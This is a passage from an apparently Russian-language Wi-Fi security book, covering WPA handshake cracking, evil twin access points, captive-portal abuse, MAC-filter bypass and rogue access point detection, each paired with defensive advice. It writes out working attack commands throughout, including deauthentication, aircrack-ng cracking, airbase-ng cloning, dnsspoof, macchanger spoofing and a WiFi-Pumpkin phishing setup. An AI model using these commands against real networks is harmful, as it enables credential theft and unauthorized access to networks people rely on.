
aireplay-ng --deauth 10 -a <BSSID> wlan0mon


В момент их переподключения мы перехватываем рукопожатие.

Шаг 3: Взлом рукопожатия
Сохранив рукопожатие, мы пытаемся взломать его с помощью Hashcat или Aircrack-ng:

aircrack-ng -w rockyou.txt -b <BSSID> capture.cap

Если успешно, мы получаем пароль Wi-Fi!

Защита от атак PMKID и перехвата рукопожатий

Итак, теперь, когда мы знаем, как это делают злоумышленники, как нам это остановить?
✔ Используйте надежные, случайные пароли - больше никаких 12345678. Используйте не менее 16 символов со спецсимволами.
✔ Отключите PMKID (если возможно) - некоторые маршрутизаторы позволяют отключить 802.11r Fast Roaming, что может блокировать атаки PMKID.
✔ Используйте WPA3 (если поддерживается) - Хотя WPA3 не идеален, аутентификация SAE делает атаки типа PMKID более сложными.
✔ Включите MAC-фильтрацию - Не является стопроцентной защитой, но добавляет злоумышленникам дополнительный шаг.
✔ Мониторьте свою сеть - Используйте систему обнаружения беспроводных вторжений (WIDS) для выявления несанкционированного сканирования.

Заключение

Безопасность Wi-Fi - это постоянная игра в кошки-мышки. Атака PMKID сделала взлом паролей WPA2 быстрее и проще, чем когда-либо, и хотя WPA3 улучшает ситуацию, злоумышленники всегда находят новые лазейки.
В конечном счете, безопасность - это не только технологии, но и использование надежных паролей и поддержание осведомленности. И если вы все еще используете password123, что ж... вы заслуживаете взлома.

3.5 Меры противодействия атакам на шифрование Wi-Fi​

Итак, мы потратили много времени, изучая, как злоумышленники взламывают сети Wi-Fi: перехватывают пакеты, взламывают рукопожатия, используют уязвимости слабого шифрования и в целом нарушают безопасность вашей беспроводной сети. Но теперь давайте перевернем сценарий. Пришло время поговорить о том, как их остановить.
Потому что, давайте будем честны: нет ничего хуже, чем осознать, что ваш сосед, Боб-халявщик, смотрел Netflix через ваш Wi-Fi, пока вы боролись с буферизацией. Или, что еще хуже, какой-то хакер украл ваши учетные данные только потому, что вы оставили пароль от роутера "admin123".
Итак, давайте вооружимся и погрузимся в лучшие меры противодействия, чтобы ваша Wi-Fi сеть была заперта крепче, чем Форт-Нокс.

1. Используйте WPA3 (или WPA2 с надежными практиками безопасности)
Если вы все еще используете WEP (да упокоит Бог вашу душу) или даже WPA - прекратите читать, схватите свой роутер и выбросьте его в окно. Эти протоколы так же безопасны, как дневник со сломанным замком.
WPA3 - это новейшая и самая передовая технология, использующая одновременную аутентификацию равных (SAE) для предотвращения офлайн-атак по словарю. Но не все устройства пока поддерживают WPA3, поэтому, если вы застряли с WPA2, сделайте следующее:
✔ Используйте длинную, сложную парольную фразу - 16+ символов с верхним/нижним регистром, цифрами и символами. "P@ssw0rd" - плохой пароль.
✔ Отключите WPS (Wi-Fi Protected Setup) - это мечта хакера.
✔ Включите шифрование AES (никогда TKIP!) - AES-CCMP - ваш лучший выбор для надежной безопасности.

2. Защита от атак рукопожатия и PMKID
Злоумышленники могут перехватывать рукопожатия Wi-Fi и выполнять офлайн-атаки методом полного перебора. Вот как их остановить:
✔ Используйте сложные пароли - Если ваш пароль "ilovecoffee", Hashcat взломает его за секунды.
✔ Используйте WPA3 (если возможно) - Атаки PMKID не работают против правильно реализованных сетей WPA3.
✔ Включите MAC-фильтрацию - Это не остановит решительного хакера, но добавит дополнительное препятствие.
Если вы хотите перейти на следующий уровень, используйте Enterprise WPA2/WPA3 с RADIUS-сервером для аутентификации. Это исключает предварительно общие ключи, значительно затрудняя перехват и взлом учетных данных.

3. Предотвращение атак деаутентификации и Evil Twin
Атаки деаутентификации - один из самых простых способов отключить пользователей от сети и заставить их подключиться к поддельной точке доступа (также известной как Evil Twin). Для защиты от этого:
✔ Включите защищенные управляющие кадры (PMF) - Это останавливает злоумышленников от отправки пакетов деаутентификации.
✔ Используйте VPN - Даже если кто-то настроит поддельную точку доступа, VPN шифрует ваш трафик, делая перехват бесполезным.
✔ Обучайте пользователей проверять сети - Если "Starbucks Wi-Fi" внезапно запрашивает пароль, это, вероятно, подделка.
Хотите узнать, подвергается ли ваша сеть атаке? Инструменты, такие как WIDS (системы обнаружения беспроводных вторжений), могут предупредить вас, когда кто-то подделывает ваш SSID или запускает атаки деаутентификации.

4. Защитите свой роутер так, будто от этого зависит ваша цифровая жизнь
Потому что, честно говоря, так и есть. Большинство взломов роутеров происходят не через эксплойты Wi-Fi, а через слабую безопасность роутера. Вот как его обезопасить:
✔ Измените пароль администратора по умолчанию - "admin/admin" - первое, что попытается злоумышленник.
✔ Отключите удаленное управление - хакеры любят открытые интерфейсы Telnet/SSH/web.
✔ Обновляйте прошивку - производители исправляют уязвимости безопасности, но только если вы обновляетесь.
✔ Используйте отдельную гостевую сеть - не позволяйте посетителям получать доступ к вашим основным устройствам.
Профессиональный совет: переименуйте свой SSID во что-то уникальное (но не привлекающее хакеров, вроде "HackMeIfYouCan").

5. Обнаружение и реагирование на вторжения
Даже при лучшей безопасности полезно активно отслеживать свою сеть. Некоторые полезные инструменты:
✔ Pi-hole + DNS-логирование - обнаруживает подозрительный трафик и блокирует рекламу и вредоносные домены.
✔ Wireshark или Kismet - позволяют анализировать сетевой трафик и обнаруживать подозрительную активность.
✔ Включите логирование на роутере - проверяйте наличие неизвестных устройств или неудачных попыток входа.
Если вы видите подключенное подозрительное устройство, немедленно смените пароль Wi-Fi и проведите дальнейшее расследование.

Заключение

В конечном счете, ни одна система не является на 100% безопасной - но цель состоит в том, чтобы затруднить работу злоумышленникам. Если хакеру придется потратить дни на взлом вашего Wi-Fi, когда по соседству есть более легкая цель, он переключится.
Так что, если вы все еще используете "12345678" в качестве пароля Wi-Fi, сделайте себе одолжение - смените его сейчас, прежде чем это сделает кто-то другой за вас.


Глава 4: Поддельные точки доступа и атаки Evil Twin​

Когда-либо подключались к "Free Starbucks Wi-Fi", только чтобы понять, что его настроил какой-то парень в углу с ноутбуком и ухмылкой? Поздравляем, вы столкнулись с атакой Evil Twin. Хакеры любят настраивать поддельные точки доступа, которые имитируют доверенные сети, обманывая ничего не подозревающих пользователей, заставляя их подключаться и передавать свои учетные данные на серебряном блюдечке. И самое худшее? Большинство людей даже не осознают, что это происходит.
В этой главе мы рассмотрим, как злоумышленники развертывают поддельные точки доступа, используют уязвимости captive portals и обходят меры безопасности беспроводной сети, такие как MAC-фильтрация. Вы узнаете, как работают эти атаки, как их обнаружить и какие лучшие практики существуют для предотвращения несанкционированного доступа к вашей сети. Независимо от того, являетесь ли вы пентестером или просто обеспокоенным пользователем, понимание этих угроз имеет решающее значение для обеспечения безопасности.

4.1 Настройка поддельной сети Wi-Fi для перехвата учетных данных​

Ах, атака Evil Twin - эквивалент хакера, открывающего бесплатную точку с тако, только вместо бесплатных тако люди передают свои учетные данные, сессионные куки и личные данные, даже не осознавая этого.
Настройка поддельной сети Wi-Fi - один из самых простых и эффективных способов обмануть пользователей, заставив их подключиться и неосознанно раскрыть свои секреты. И самое лучшее? Большинство людей даже не удосуживаются проверить, к какой Wi-Fi сети они подключаются. Они просто видят "Бесплатный Wi-Fi" и нажимают "Подключиться" быстрее, чем вы успеете сказать: "Прощайте, ваши пароли!"
Итак, как злоумышленники осуществляют этот дьявольски простой трюк?
И, что более важно, как защитить себя от того, чтобы стать их следующей жертвой? Давайте погрузимся.

Как работает атака Evil Twin

Идея атаки Evil Twin проста:
● Клонировать легитимную сеть Wi-Fi (например, "Starbucks_WiFi" или "Airport_Hotspot").
● Усилить сигнал, чтобы он стал более привлекательным, чем настоящий.
● Дождаться, пока жертвы подключатся и начнут отправлять незашифрованный трафик.
● Перехватить учетные данные для входа, сессионные куки и конфиденциальные данные.
Ключ к успеху этой атаки - социальная инженерия: люди доверяют именам, а не безопасности. Если они видят открытую сеть Wi-Fi с знакомым названием, они предполагают, что она безопасна. И именно здесь они ошибаются.

Настройка поддельной сети Wi-Fi (для исследовательских целей, конечно! 😉)

Прежде чем мы начнем: НЕ ДЕЛАЙТЕ ЭТОГО НЕЗАКОННО. Проведение атаки Evil Twin без разрешения может привести к серьезным юридическим проблемам. Всегда получайте явное согласие перед тестированием на любой сети.
Теперь давайте посмотрим на инструменты и шаги, необходимые для настройки поддельной точки доступа Wi-Fi.

Шаг 1: Выберите инструменты
Для создания поддельной точки доступа Wi-Fi злоумышленники обычно используют:
✅ Airgeddon - Автоматизированный набор инструментов для атак Evil Twin
✅ WiFi-Pumpkin3 - Простой в использовании инструмент для поддельных точек доступа
✅ Fluxion - Фреймворк Evil Twin с возможностями фишинга
✅ Hostapd - Превращает машину Linux в точку доступа Wi-Fi
Эти инструменты позволяют хакерам создавать поддельную сеть Wi-Fi, перехватывать трафик и перенаправлять пользователей на фишинговые страницы.

Шаг 2: Создайте поддельную сеть Wi-Fi
Используя Airgeddon, злоумышленник может легко создать поддельную точку доступа:

airgeddon

Оказавшись внутри инструмента, они:
● Выбирают Wi-Fi карту (должна поддерживать режим мониторинга).
● Сканируют целевые сети (например, Starbucks_WiFi).
● Клонируют имя сети (SSID), чтобы она выглядела реальной.
● Деаутентифицируют пользователей из реальной сети (чтобы они переподключились к поддельной).

Шаг 3: Перехват трафика и сбор учетных данных
После того как жертвы подключатся, хакеры могут:
✔ Отслеживать весь незашифрованный трафик с помощью tcpdump или Wireshark.
✔ Перенаправлять пользователей на фишинговые страницы (поддельные порталы входа).
✔ Красть сессионные куки для угона активных сессий.
✔ Внедрять вредоносные полезные нагрузки (кейлоггеры, эксплойты).
Распространенный метод - использование DNS-спуфинга для перенаправления пользователей на поддельную страницу входа. Злоумышленники используют ettercap или dnsspoof для отправки жертв на фишинговую страницу, которая выглядит точно так же, как реальный портал входа:

dnsspoof -i wlan0


Теперь, когда пользователи пытаются войти в свой банк, электронную почту или социальные сети, они на самом деле передают свои пароли напрямую злоумышленнику.

Реальные сценарии атак

Хакеры не просто сидят в темных подвалах, проводя эти атаки ради развлечения (хотя некоторые, возможно, и делают это). Они часто нацеливаются на:
🎯 Аэропорты и кофейни - люди слишком сильно доверяют общедоступному Wi-Fi.
🎯 Корпоративные офисы - сотрудники подключаются к поддельному "Guest Wi-Fi" без колебаний.
🎯 Отели и конференции - злоумышленники настраивают поддельные сети для кражи корпоративных данных.
🎯 Университетские кампусы - студенты любят бесплатный Wi-Fi и часто используют слабые пароли.
Эти атаки могут быть невероятно эффективными, потому что большинство пользователей не проверяют подлинность сети перед подключением.

Как защититься от атак Evil Twin

Теперь, когда мы знаем, как это делают злоумышленники, давайте поговорим о том, как их остановить.
✅ Никогда не доверяйте открытым сетям Wi-Fi - Если сеть не требует пароля, считайте ее скомпрометированной.
✅ Используйте VPN - VPN шифрует ваш трафик, делая его нечитаемым для злоумышленников.
✅ Проверяйте названия сетей - Если вы находитесь в Starbucks, спросите сотрудника о правильном названии Wi-Fi.
✅ Отключите автоподключение - Многие устройства автоматически подключаются к известным сетям, даже если они поддельные.
✅ Включите HTTPS Everywhere - Используйте расширения браузера, такие как HTTPS Everywhere, для принудительного шифрования соединений.
✅ Используйте двухфакторную аутентификацию (2FA) - Даже если ваш пароль украден, 2FA может заблокировать несанкционированный доступ.
Для организаций системы обнаружения беспроводных вторжений (WIDS) могут помочь обнаруживать и блокировать поддельные точки доступа в режиме реального времени.

Заключение

Атаки Evil Twin невероятно легко осуществить - но так же легко их избежать, если знать, на что обращать внимание. Самая большая слабость в безопасности беспроводной связи - это не шифрование или брандмауэры, а человеческая природа.
Хакеры полагаются на доверие и удобство, поэтому в следующий раз, когда вы увидите "Free_WiFi_Airport" на своем телефоне, спросите себя: "Неужели мне так сильно нужно проверить Instagram? Или я вот-вот буду взломан?"

4.2 Использование captive portals для атак MITM​

Ах, captive portals - эти раздражающие страницы входа в Wi-Fi, которые стоят между вами и сладким, сладким обещанием бесплатного интернета. Будь вы в аэропорту, отеле, кофейне или местном кафе "пожалуйста-купи-что-нибудь-если-используешь-наш-WiFi", вы, вероятно, сталкивались с ними.
Но вот в чем дело - captive portals - это игровая площадка хакера. Хотя они существуют для аутентификации пользователей перед предоставлением доступа в интернет, они часто изобилуют уязвимостями, которые позволяют злоумышленникам обходить аутентификацию, перехватывать трафик и выполнять атаки "человек посередине" (MITM).
Давайте разберем: что делает captive portals такими слабыми, как злоумышленники их используют и как вы можете защитить себя от взлома, пытаясь проверить свою электронную почту в аэропорту.

Как работают captive portals (и почему они несовершенны)

Captive portal - это веб-система аутентификации, которая временно блокирует доступ в интернет до тех пор, пока пользователь не согласится с условиями, не введет учетные данные для входа или не приобретет пакет Wi-Fi.
Вот что происходит, когда вы подключаетесь к общедоступному Wi-Fi с captive portal:
● Вы подключаетесь к сети Wi-Fi (но пока не имеете доступа в интернет).
● Ваш браузер перенаправляется на страницу входа, где вы должны пройти аутентификацию.
● После аутентификации портал предоставляет доступ в интернет на определенное время.
Звучит просто, правда? Не совсем.
Проблема в том, что многие captive portals не шифруют процесс аутентификации. Поскольку они полагаются на HTTP-перенаправления и белые списки MAC-адресов, злоумышленники могут легко их обойти, подделать или манипулировать ими.

Использование captive portals: playbook хакера

Теперь давайте поговорим о том, как злоумышленники злоупотребляют этими системами.
1. Подмена MAC-адреса: обход captive portals
Большинство captive portals отслеживают пользователей по MAC-адресу - после аутентификации устройства его MAC-адрес добавляется в белый список для доступа в интернет.
Хакеры могут клонировать MAC-адрес из белого списка, используя такие инструменты, как macchanger:

ifconfig wlan0 down
macchanger -r wlan0
ifconfig wlan0 up

Это заставляет сеть думать, что устройство злоумышленника уже аутентифицировано, предоставляя ему бесплатный доступ в интернет без необходимости входа.

Реальный сценарий:
Вы находитесь в аэропорту и видите, как кто-то пользуется Wi-Fi, не заплатив. Вместо того чтобы платить самому, вы сканируете сетевые пакеты, получаете их MAC-адрес, подделываете его, и вуаля - бесплатный Wi-Fi для вас.

2. Угон сессии: кража аутентифицированных сессий
Некоторые captive portals выдают сессионные куки после входа. Если эти куки не защищены должным образом, злоумышленники могут их перехватить и угнать, используя такие инструменты, как:
● tcpdump (захват пакетов)
● Wireshark (глубокий анализ пакетов)
● bettercap (автоматизированный фреймворк MITM)

tcpdump -i wlan0 -w capture.pcap

Перехватив и воспроизведя действительный сессионный токен, злоумышленник может выдать себя за аутентифицированного пользователя, не зная его учетных данных.

Реальный сценарий:
Хакер в кофейне запускает Wireshark, ждет, пока кто-нибудь пройдет аутентификацию, крадет его сессионный куки и угоняет его соединение - теперь у него полный доступ в интернет, выдавая себя за жертву.

3. Атака Evil Twin: создание поддельного captive portal
Зачем обходить captive portal, когда можно создать свой собственный и украсть учетные данные для входа?
Используя такие инструменты, как WiFi-Pumpkin3 или Airgeddon, злоумышленники могут настроить поддельную точку доступа Wi-Fi с клонированным captive portal, обманывая пользователей, заставляя их вводить свои учетные данные.

Шаги:
● Настроить поддельную точку доступа с тем же SSID (например, "Starbucks_WiFi").
● Перенаправить весь трафик на фишинговую страницу (поддельный captive portal).
● Перехватить учетные данные в открытом виде.

Реальный сценарий:
Хакер в отеле настраивает поддельную сеть Wi-Fi под названием "Hotel_Guest_WiFi". Гости, пытающиеся войти, перенаправляются на реалистично выглядящий captive portal, где они вводят номер своей комнаты, фамилию и иногда даже данные кредитной карты - передавая все злоумышленнику.

4. DNS-спуфинг: перенаправление пользователей на поддельные сайты
Даже после прохождения captive portal большинство пользователей считают, что они в безопасности - большая ошибка. Хакеры могут угонять DNS-запросы и перенаправлять пользователей на вредоносные сайты, используя ettercap или dnsspoof:

dnsspoof -i wlan0

Теперь каждый раз, когда жертва пытается посетить Facebook, Gmail или сайт своего банка, она вместо этого попадает на фишинговую страницу, где неосознанно передает свои пароли.

Реальный сценарий:
Хакер в аэропорту осуществляет MITM-атаку на Wi-Fi, перехватывает DNS-запросы и перенаправляет пользователей на поддельную страницу входа в PayPal. Жертвы вводят свои учетные данные, и вот так - злоумышленник получает доступ к их учетной записи PayPal.

Как защититься от атак captive portal

Теперь, когда мы знаем, как злоумышленники используют captive portals, давайте поговорим о том, как оставаться в безопасности.
✅ Используйте VPN - VPN шифрует ваш трафик, предотвращая его перехват злоумышленниками.
✅ Проверяйте название Wi-Fi - Спросите персонал о правильном названии сети, чтобы избежать атак Evil Twin.
✅ Включите HTTPS Everywhere - Используйте расширения браузера, такие как HTTPS Everywhere, для предотвращения кражи учетных данных для входа.
✅ Вручную вводите URL-адреса - Если вам нужно получить доступ к своему банку или электронной почте, введите URL вручную, а не переходите по ссылкам.
✅ Используйте одноразовые учетные данные - Если вам нужно ввести электронную почту для входа, используйте временный почтовый сервис, такой как 10minutemail.
✅ Забывайте сети после использования - Предотвратите автоматическое подключение вашего устройства к потенциально поддельным сетям.
Для организаций внедрение корпоративной безопасности WPA3 и использование аутентификации на основе сертификатов может помочь предотвратить большинство эксплойтов captive portal.

Заключение

Captive portals призваны повысить безопасность, но на самом деле они часто создают больше поверхностей для атак для хакеров. В следующий раз, когда вы будете подключаться к "Free_Airport_WiFi", помните:
👀 Эта страница входа может быть не тем, чем кажется.
Итак, вы действительно собираетесь проверить свой банковский счет через аэропортовый Wi-Fi? Или вы собираетесь пожертвовать свои учетные данные хакеру, сидящему в 10 футах от вас с ноутбуком и озорной ухмылкой? Выбирайте мудро.

4.3 Сбор учетных данных через сети Evil Twin​

Ах, атака Evil Twin - эквивалент кражи личных данных для Wi-Fi хакера.
Если вы когда-либо подключались к "Starbucks_FreeWiFi" без раздумий, поздравляем! Вы сыграли в цифровую русскую рулетку. Единственный вопрос - сидел ли поблизости хакер, вытягивая ваши пароли, потягивая карамельный макиато.
Атаки Evil Twin такие же коварные, как и звучат. Вместо того чтобы взламывать сеть Wi-Fi, злоумышленники обманом заставляют вас подключиться к их сети. Самое лучшее? Она выглядит совершенно легитимной, поэтому жертвы даже не подозревают, что их взламывают. В этой главе мы глубоко погрузимся в то, как работают эти атаки, какие инструменты используются для их настройки и, самое главное, как защитить себя от сбора ваших учетных данных, как спелых цифровых фруктов.

Как работают атаки Evil Twin

По сути, атака Evil Twin - это просто вредоносная сеть Wi-Fi, маскирующаяся под доверенную. Она использует тот же SSID (имя сети) и часто более сильный сигнал, чем реальная сеть, заманивая ничего не подозревающих пользователей к подключению.
Вот пошаговое описание:
Злоумышленник создает поддельную сеть Wi-Fi
● Они используют такие инструменты, как airbase-ng, WiFi-Pumpkin или RogueAP, для клонирования легитимной точки доступа.
● SSID является точной копией доверенной сети (например, "Hotel_WiFi" или "Starbucks_Free").

Жертвы подключаются, думая, что это легитимно
● Если их устройство ранее подключалось к "Starbucks_FreeWiFi", оно может автоматически подключиться к Evil Twin.
● Другие могут выбрать ее вручную, предполагая, что это реальная сеть.

Злоумышленник перехватывает учетные данные
● Поддельная сеть предлагает пользователям ввести данные для входа (например, электронную почту, пароли, данные кредитной карты).
● Если пользователи пытаются посетить безопасные сайты, хакер может перехватить и записать их учетные данные.

Начинается атака MITM (Man-in-the-Middle)
● Злоумышленники отслеживают, изменяют или внедряют вредоносный трафик.
● Они могут красть куки, угонять учетные записи или перенаправлять жертв на фишинговые сайты.
Звучит страшно? Так и есть. Но давайте сделаем еще хуже.

Настройка сети Evil Twin (для образовательных целей, конечно!)

Хакеры используют несколько инструментов для проведения атак Evil Twin, но вот как они это делают с помощью airbase-ng, одного из самых популярных вариантов.

Шаг 1: Сканирование ближайших сетей Wi-Fi
Прежде чем клонировать сеть Wi-Fi, злоумышленникам необходимо определить популярный SSID. Они делают это с помощью:

airodump-ng wlan0mon

Это выводит список всех ближайших сетей Wi-Fi, их SSID, каналов и типов шифрования.

Шаг 2: Создание поддельной точки доступа
После того как они получили целевой SSID, они создают Evil Twin с помощью:

airbase-ng -e "Starbucks_FreeWiFi" -c 6 wlan0mon

Это запускает поддельную точку доступа Wi-Fi с тем же именем, что и реальный Wi-Fi Starbucks.

Шаг 3: Принудительное отключение жертв от реальной сети
Чтобы гарантировать, что жертвы подключатся к Evil Twin, злоумышленники отправляют пакеты деаутентификации, чтобы отключить их от реальной Wi-Fi сети:

aireplay-ng --deauth 100 -a [Router_MAC] wlan0mon

Поскольку большинство устройств автоматически переподключаются к самому сильному сигналу, жертвы неосознанно подключаются к поддельной точке доступа злоумышленника.

Шаг 4: Сбор учетных данных через поддельную страницу входа
Теперь начинается самая интересная часть - обман пользователей, заставляющий их вводить конфиденциальную информацию. Злоумышленники:
● Настраивают captive portal (поддельную страницу входа).
● Перенаправляют жертв на фишинговый сайт с помощью dnsmasq или bettercap.
● Собирают имена пользователей, пароли и данные кредитных карт.

Настройка страницы фишинга (WiFi-Pumpkin)

git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git
cd WiFi-Pumpkin
python3 wifi-pumpkin.py

После запуска он имитирует страницы входа крупных сервисов (Google, Facebook, корпоративные VPN). Жертвы вводят свои учетные данные, думая, что это легитимно, но злоумышленник получает их вместо этого.

Реальные сценарии: Как хакеры используют Evil Twins

Теперь, когда мы знаем, как они работают, давайте посмотрим, где атаки Evil Twin происходят в реальном мире:
🔥 Аэропорты и отели - Поддельные сети, такие как "Airport_FreeWiFi", являются легкой приманкой для путешественников.🔥 Кофейни и рестораны - Хакеры маскируются, незаметно собирая данные клиентов.
🔥 Корпоративные офисы - Киберпреступники нацеливаются на сотрудников, чтобы получить доступ к бизнес-сетям.
🔥 Конференции и мероприятия - Большое скопление людей = много потенциальных жертв.
Если вы когда-либо подключались к общедоступной точке доступа Wi-Fi, вы, вероятно, сталкивались с сетью Evil Twin, знали вы об этом или нет.

Как защититься от атак Evil Twin

Теперь поговорим о защите. Вот как вы можете избежать попадания в ловушку Evil Twin:
✅ Никогда не подключайтесь автоматически к общедоступному Wi-Fi - отключите автоподключение в настройках Wi-Fi.
✅ Проверяйте легитимность сети - Если вы находитесь в кафе или отеле, спросите персонал о правильном названии сети Wi-Fi.
✅ Используйте VPN - VPN шифрует ваш трафик, предотвращая шпионаж со стороны злоумышленников.
✅ Отключайте Wi-Fi, когда он не используется - предотвращает трансляцию прошлых подключений вашим устройством.
✅ Используйте сайты с HTTPS и HSTS - Избегайте входа на сайты, работающие только по HTTP.
✅ Используйте мобильные данные вместо этого - Если сомневаетесь, переключитесь на сотовую сеть вашего телефона.

Заключительные мысли: Дилемма Evil Twin

Хакеры любят атаки Evil Twin, потому что они не требуют грубой силы или сложных эксплойтов - только старой доброй уловки.

Так что в следующий раз, когда вас соблазнит подключиться к "Free_CoffeeShop_WiFi", спросите себя:
🔴 Действительно ли это сеть кафе?
🔴 Или в углу сидит хакер, делая вид, что работает над сценарием, а на самом деле крадет ваши учетные данные для входа?
Самый безопасный вариант? Используйте VPN или, еще лучше, вообще не подключайтесь.
И если вы когда-нибудь увидите две одинаковые сети Wi-Fi, теперь вы знаете - одна из них хочет вас подловить.

4.4 Обход MAC-фильтрации и беспроводных списков контроля доступа​

Итак, давайте поговорим о MAC-фильтрации и беспроводных списках контроля доступа (ACL) - этих ложных чувствах безопасности, на которые полагаются сетевые администраторы, чтобы не допустить хакеров. Спойлер: они не работают. Если бы безопасность Wi-Fi была средневековым замком, MAC-фильтрация была бы деревянными воротами, охраняемыми сонным стажером - это выглядит как безопасность, но не остановит решительного атакующего.
Я понимаю. Сетевые администраторы включают MAC-фильтрацию и списки контроля доступа (ACL) в надежде разрешить доступ только авторизованным устройствам в сеть. Звучит надежно в теории, верно? Но на практике? Обойти эти средства защиты смехотворно легко - как угадать пароль друга от Netflix (подсказка: он, вероятно, все еще "password123"). В этой главе мы разберем, как работают MAC-фильтрация и ACL, почему они терпят неудачу и как атакующие обходят их за считанные минуты.

Что такое MAC-фильтрация?

Каждое сетевое устройство имеет уникальный MAC-адрес (Media Access Control), своего рода отпечаток пальца для вашего ноутбука, телефона или даже умного холодильника (потому что, да, хакеры любят использовать уязвимости IoT-устройств). MAC-фильтрация позволяет Wi-Fi-маршрутизатору создать белый список одобренных MAC-адресов - так что, если вашего устройства нет в списке, вы не можете подключиться. Это работает так:
● Сетевой администратор входит в маршрутизатор.
● Он создает белый список разрешенных MAC-адресов.
● Маршрутизатор отклоняет любое устройство, которого нет в списке.
Звучит здорово, правда? Проблема? Хакеры могут подделать MAC-адреса за секунды.

Обход MAC-фильтрации: Подделка как профессионал

Поскольку маршрутизаторы проверяют только MAC-адреса, все, что нужно сделать атакующему, это притвориться одобренным устройством. Как? Изменив свой MAC-адрес, чтобы он соответствовал одному из списка.

Вот как это делает атакующий:

Шаг 1: Прослушивание разрешенных MAC-адресов
Перед подделкой атакующему нужно найти легитимный MAC-адрес, который уже подключен. Они используют простую команду с airodump-ng:

airodump-ng wlan0mon

Это отображает все ближайшие сети Wi-Fi и подключенные устройства, раскрывая MAC-адреса авторизованных клиентов.

Шаг 2: Изменение вашего MAC-адреса
Как только атакующий выбирает действительный MAC-адрес, он меняет свой, используя:

ifconfig wlan0 down
macchanger -m 00:11:22:33:44:55 wlan0
ifconfig wlan0 up

Бух! Теперь его устройство выглядит идентично одобренному - и сеть с радостью пропускает его. Вот и все. Это вся "безопасность" MAC-фильтрации.
Беспроводные ACL: Что это такое и почему они терпят неудачу? Беспроводной список контроля доступа (ACL) - это более продвинутая версия MAC-фильтрации. Вместо простой фильтрации MAC-адресов, ACL могут ограничивать доступ на основе правил, таких как:
● Доступ по времени - Разрешение подключений только в определенные часы.
● Ограничения по типу устройства - Блокировка подключения не корпоративных устройств.
● Фильтрация IP или подсети - Разрешение только определенных диапазонов сети.
Хорошая идея, но... Хакеры не следуют правилам.

ACL по-прежнему полагаются на идентифицируемые маркеры - MAC-адреса, IP-адреса, типы устройств - все это может быть подделано. Атакующие обходят ACL, подделывая разрешенные устройства, меняя IP-адреса и используя VPN или прокси. Это похоже на проникновение в VIP-клуб с поддельным удостоверением, только вышибала (маршрутизатор) не очень внимательно проверяет.

Как хакеры обходят беспроводные ACL

Метод 1: Подделка авторизованного устройства
Если ACL блокируют неизвестные устройства, атакующий просто имитирует разрешенное устройство. Используя тот же трюк с подделкой MAC-адреса, что и раньше, они проходят беспрепятственно.

Метод 2: Изменение User Agent (для ACL на основе устройств)
Некоторые сети блокируют определенные типы устройств (например, разрешают только корпоративные ноутбуки). Если ограничение основано на браузере, хакеры могут подделать свой User Agent:

curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" http://target.com

Теперь их Raspberry Pi выглядит как ПК с Windows для сети.

Метод 3: Использование VPN или прокси
Если ACL блокируют определенные диапазоны IP-адресов, хакеры просто направляют свой трафик через VPN или прокси, обходя ограничение.

proxychains nmap -sS -Pn -p80 target.com

Внезапно они получают доступ к ограниченным сетям как призраки.
Почему MAC-фильтрация и ACL недостаточны

Итак, будем предельно честны:
💀 MAC-фильтрация бесполезна - Хакеру требуется менее 30 секунд, чтобы подделать MAC-адрес.
💀 ACL легко обходятся - Атакующие меняют свою личность с помощью прокси, VPN и подделки устройств.
💀 Оба дают ложное чувство безопасности - они заставляют администраторов чувствовать себя в безопасности, но не останавливают реальных хакеров.

Как на самом деле обезопасить свой Wi-Fi

Итак, если MAC-фильтрация и ACL - это, по сути, театральная безопасность, что следует делать вместо этого? Вот что действительно работает:
✅ Используйте WPA2/WPA3 с надежными паролями - Реальное шифрование гораздо сложнее взломать.
✅ Включите аутентификацию 802.1X - Требует сертификаты, а не просто MAC-адреса.
✅ Используйте контроль доступа к сети (NAC) - Блокирует несанкционированные устройства на основе более глубоких политик безопасности.
✅ Отслеживайте и регистрируйте изменения MAC-адресов - Оповещайте о подозрительных устройствах, меняющих MAC-адреса.
✅ Отключите автоподключение - Предотвращает случайное подключение устройств к несанкционированным сетям.

Заключительные мысли: Не обманывайтесь фальшивой безопасностью

Полагаться на MAC-фильтрацию и ACL для остановки хакеров - это как запирать входную дверь, но оставлять окна открытыми. Это заставляет вас чувствовать себя в безопасности, но любой хакер, стоящий своих усилий, пройдет через них за минуты.
Так что, если вы увидите кого-то, кто хвастается тем, как он "обезопасил" свою сеть с помощью MAC-фильтрации, сделайте ему одолжение - скажите ему прочитать эту главу, прежде чем это сделает хакер.

4.5 Обнаружение и предотвращение атак с использованием несанкционированных точек доступа​

Итак, давайте будем честны - несанкционированные точки доступа (AP) - это эквивалент мошенника в униформе сотрудника в мире Wi-Fi. Они выглядят легитимно, обманывают людей, заставляя их подключаться, а затем крадут учетные данные, внедряют вредоносное ПО или выполняют атаки типа "человек посередине". И самое худшее? Большинство пользователей даже не осознают, что их обманули.
Представьте, что вы заходите в свою любимую кофейню. Вы видите бесплатную сеть Wi-Fi под названием "Café_123_WiFi". Выглядит легитимно, верно? Вы подключаетесь, проверяете электронную почту, возможно, входите в свой банковский счет. Бум! Вы только что передали свои учетные данные хакеру, сидящему за тремя столиками. Это атака с использованием несанкционированной точки доступа в действии.
Так как же остановить этот беспроводной хаос? Именно этим мы и займемся в этой главе - как обнаружить и отключить несанкционированные точки доступа, прежде чем они испортят вам день.

Что такое несанкционированная точка доступа?

Несанкционированная точка доступа - это любая неавторизованная точка доступа Wi-Fi, которая существует в пределах или вблизи легитимной сети. Это могут быть:
● Вредоносные несанкционированные точки доступа - Установлены атакующими для обмана пользователей с целью подключения (например, атаки Evil Twin).
● Случайные несанкционированные точки доступа - Сотрудники, подключающие свои собственные маршрутизаторы, не осознавая риска.
● Неправильно настроенные точки доступа - ИТ-персонал ошибочно развертывает небезопасные точки доступа, которые утекают конфиденциальные данные.
Независимо от намерения, несанкционированные точки доступа создают огромные риски безопасности, поскольку они обходят брандмауэры, IDS/IPS и другие меры сетевой безопасности. Как только кто-то подключается, атакующий может перехватывать трафик, красть учетные данные, внедрять полезные нагрузки и запускать дальнейшие эксплойты.

Как атакующие устанавливают несанкционированные точки доступа

1. Атака Evil Twin
Хакер создает сеть Wi-Fi, идентичную реальной - тот же SSID, тот же внешний вид. Пользователи подключаются, думая, что это легитимно, но на самом деле их трафик идет через ноутбук атакующего.
Как это делается:
Атакующие используют такие инструменты, как:
● airbase-ng (из набора Aircrack-ng)
● Wifiphisher (для автоматизированного фишинга учетных данных)
